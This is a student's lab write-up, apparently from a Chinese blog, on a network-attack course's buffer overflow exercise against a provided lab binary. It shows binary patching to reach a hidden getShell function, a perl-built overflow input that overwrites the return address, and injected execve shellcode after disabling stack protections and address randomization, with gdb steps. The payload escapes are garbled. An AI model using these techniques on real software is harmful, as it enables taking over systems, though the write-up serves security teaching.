zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    实验点1:逆向及Bof基础实践

    实践任务

    用一个pwn1文件。 该程序正常执行流程是:main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路,基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。

    基础知识

    • NOP, JNE, JE, JMP, CMP汇编指令的机器码
    1. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    2. JNE:条件转移指令,如果不相等则跳转。(机器码:75) -JE:条件转移指令,如果相等则跳转。(机器码:74)
    3. JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    4. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    常用的Linux基本操作

    1. objdump -d:从objfile中反汇编那些特定指令机器码的section。
    2. perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
    3. xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。 -ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
    4. |:管道,将前者的输出作为后者的输入。
    5. :输入输出重定向符,将前者输出的内容输入到后者中

    实验步骤:

    • 用 objdump -d pwn1 看其汇编代码(图中是pwn3,做完了写博客截图用)image
      e8表示“call”,后面的d7 ff ff ff是要跳转的地址,只要改成e3 ff ff ff就会跳到getShell函数(通过偏移量得出)。
    • vim pwn1 进入命令模式
    • 输入 :%!xxd 将显示模式切换为十六进制
    • 在底行模式输入/e8d7定位需要修改的地方,并确认
    • 进入插入模式,修改d7为c3
    • 输入 :%!xxd -r
    • 将十六进制转换为原格式
    • 使用 :wq 保存并退出 然后 ./pwn1 运行就可以了imageimageimageimage

    实验点2:自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址

    系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址

    思路:

    • 反汇编pwn1文件找到getShell的地址:0804847d
    • 输入参数,使32字节后面内容为地址0804847d对应的数
    • 执行文件

    步骤

    1. (已知getshell地址为0804847d,)
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input  生成一个input文件,参数已经构造好的
    
    xxd input  可以查看构造的文件.
    
    (cat input; cat) | ./pwn1  命令输入参数
    

    image

    实验点3:注入shellcode并执行(RNS)

    • 首先使用 apt-get install execstack 命令安装execstack。 然后接连输入:
    - root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 
    2 
    root@KaliYL:~# echo "0" > /proc/sys/kernel/
    randomizevaspace //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
    0
    

    目标:向foo函数输入参数,造成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改成shellcode开始的地址 步骤:

     

    - 使用命令   perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    注入,前面32个A用来填满buf,x04x03x02x01为预留的返回地址,下面找这个返回地址。

    • 在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击,回车后不要动这个终端,然后去打开另一个终端。

    • 在第二个终端中

    1. ps -ef | grep pwn 查看pwn进程号
    2. 用gdb, attach 11031 去调试这个进程
    3. disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址:
    4. 用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址
    5. 用x/16x 0xffffd2ac命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2b0
    6. 接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令
    perl -e 'print "A" x 32;print "xb0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    1. 再用
    (cat input_shellcode;cat) | ./pwn1
    

    命令次执行程序,攻击成功!
    image
    image
    image
    image

  • 相关阅读:
    Oracle优化器模式不同导致索引失效
    Python补零操作
    正则表达式
    python习题(二)
    Linux常见报错及解决方法(持续更新)
    总结(三)----2020上
    总结二
    总结---持更
    python多线程实现方式,最基础的实现方式模块是什么
    python2和python3区别
  • 原文地址:https://www.cnblogs.com/heyanda/p/10520257.html
Copyright © 2011-2022 走看看